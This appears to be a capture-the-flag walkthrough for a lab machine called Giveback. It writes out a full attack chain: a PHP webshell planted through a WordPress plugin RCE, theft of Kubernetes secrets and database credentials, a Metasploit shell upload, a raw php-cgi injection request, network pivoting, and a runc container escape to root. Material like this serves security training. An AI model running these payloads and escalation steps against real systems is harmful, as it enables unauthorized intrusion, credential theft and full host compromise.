Giveback¶

Initial Scan¶

nmap -sC -sV -p- -oN scan_initial 10.129.118.41

Enumeration¶

The target runs WordPress with a custom plugin called giveback at:

http://giveback.htb/donations/the-things-we-need/

WordPress user identified: babywyrm. Brute force attempts against the user failed.

Exploitation¶

CVE-2024-5932 - Giveback Plugin RCE¶

Public exploit available at EQSTLab/CVE-2024-5932. Used to upload a PHP webshell:

echo '<?php system($_GET["cmd"]); ?>' | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

python CVE-2024-5932-rce.py --url 'http://giveback.htb/donations/the-things-we-need/' \
  -c 'echo "PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==" | base64 -d > ../test.php'

Verify the shell:

curl http://giveback.htb/test.php?cmd=id

Kubernetes Secrets¶

The WordPress instance runs in a k8s pod. Mounted secrets were readable:

curl "http://giveback.htb/test.php?cmd=cat+/secrets/wordpress-password"
# O8F7KR5zGi

curl "http://giveback.htb/test.php?cmd=cat+/secrets/mariadb-password"
# sW5sp4spa3u7RLyetrekE4oS

curl "http://giveback.htb/test.php?cmd=cat+/secrets/mariadb-root-password"
# sW5sp4syetre32828383kE4oS

Environment variables from wp-config.php confirmed the DB host beta-vino-wp-mariadb and WordPress password O8F7KR5zGi.

WP-CLI Password Reset¶

curl "http://giveback.htb/test.php?cmd=/opt/bitnami/wp-cli/bin/wp+user+reset-password+user+--show-password"
# Password: W1yV5*6EiJdosibc&nBW(lxh

Metasploit Shell¶

use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME user
set PASSWORD 'W1yV5*6EiJdosibc&nBW(lxh'
set RHOSTS giveback.htb
set LHOST tun0
exploit

Database Access¶

Connected to MariaDB inside the cluster:

mariadb -h beta-vino-wp-mariadb --skip-ssl -u root -psW5sp4syetre32828383kE4oS -D bitnami_wordpress -e "SELECT * FROM wp_users;"

Pivoting¶

Internal Network Discovery¶

/etc/hosts confirmed k8s pod environment. Ping sweep of 10.42.1.0/24 revealed multiple live hosts. Several internal services were reachable:

• http://10.42.1.184:5000/
• http://10.42.1.193:5000/
• http://10.42.1.196:5000/
• http://10.42.1.188:8000/

Used ligolo to add routes and pivot through the cluster.

CVE-2024-4577 - Internal CMS php-cgi RCE¶

The internal CMS at 10.42.1.184:5000 runs a vulnerable php-cgi configuration:

POST /cgi-bin/php-cgi?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 10.42.1.184:5000
Content-Type: application/x-www-form-urlencoded

ls -la

Sealed-Secrets Master Key¶

Using the php-cgi RCE, read the serviceaccount token:

cat /run/secrets/kubernetes.io/serviceaccount/namespace

Queried the Kubernetes API to retrieve the sealed-secrets master key:

XsiS6cQLFkVl5rLQwOXze9DVkmJoa

SSH as babywyrm¶

sshpass -p "XsiS6cQLFkVl5rLQwOXze9DVkmJoa" ssh babywyrm@giveback.htb

user.txt: ***

Privilege Escalation¶

Container Escape via /opt/debug¶

The binary /opt/debug is a copy of runc. Password: c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T

Created a container spec with host / bind-mounted:

cd /tmp
sudo /opt/debug spec

Added a bind mount to config.json:

{
  "type": "bind",
  "source": "/",
  "destination": "/",
  "options": ["rbind", "rw", "rprivate"]
}

mkdir rootfs
sudo /opt/debug run demo

The container starts with the host filesystem mounted, allowing full access. This is a known runc privilege escalation technique.

Flags¶

user.txt: *** root.txt: ***